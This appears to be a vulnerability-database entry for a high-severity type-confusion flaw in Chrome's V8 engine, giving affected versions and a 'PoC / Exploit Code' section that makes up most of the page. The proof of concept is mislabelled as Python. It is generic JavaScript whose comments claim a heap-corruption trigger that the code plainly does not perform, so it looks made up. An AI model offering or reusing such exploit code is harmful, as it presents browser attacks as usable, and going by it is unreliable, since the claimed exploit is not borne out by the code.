Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers using V8 engine < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13228 PoC - Type Confusion in V8
// This PoC demonstrates the Type Confusion vulnerability in Google Chrome V8
// Target: Google Chrome < 142.0.7444.59
function triggerTypeConfusion() {
// Create objects with different hidden classes (map transitions)
const obj1 = { a: 1.1, b: 2.2 };
const obj2 = { a: 1, b: 2, c: 3 };
// Force V8 to create a specific map for obj1
for (let i = 0; i < 1000; i++) {
obj1.a = i;
obj1.b = i * 0.1;
}
// Use polymorphic behavior to confuse type handling
function confuse(obj) {
// This pattern may trigger type confusion in optimized code
const val = obj.a;
obj.b = 'string';
return val + 1; // Type confusion: val might be treated as wrong type
}
// Trigger optimization with type feedback confusion
for (let i = 0; i < 10000; i++) {
confuse(obj1);
confuse(obj2);
}
// Final trigger to exploit the confusion
return confuse(obj1);
}
// Trigger the vulnerability
try {
const result = triggerTypeConfusion();
console.log('PoC executed, result:', result);
} catch (e) {
console.log('Error (may indicate vulnerability):', e.message);
}
// HTML wrapper for browser execution
// <html><body><script>triggerTypeConfusion()</script></body></html>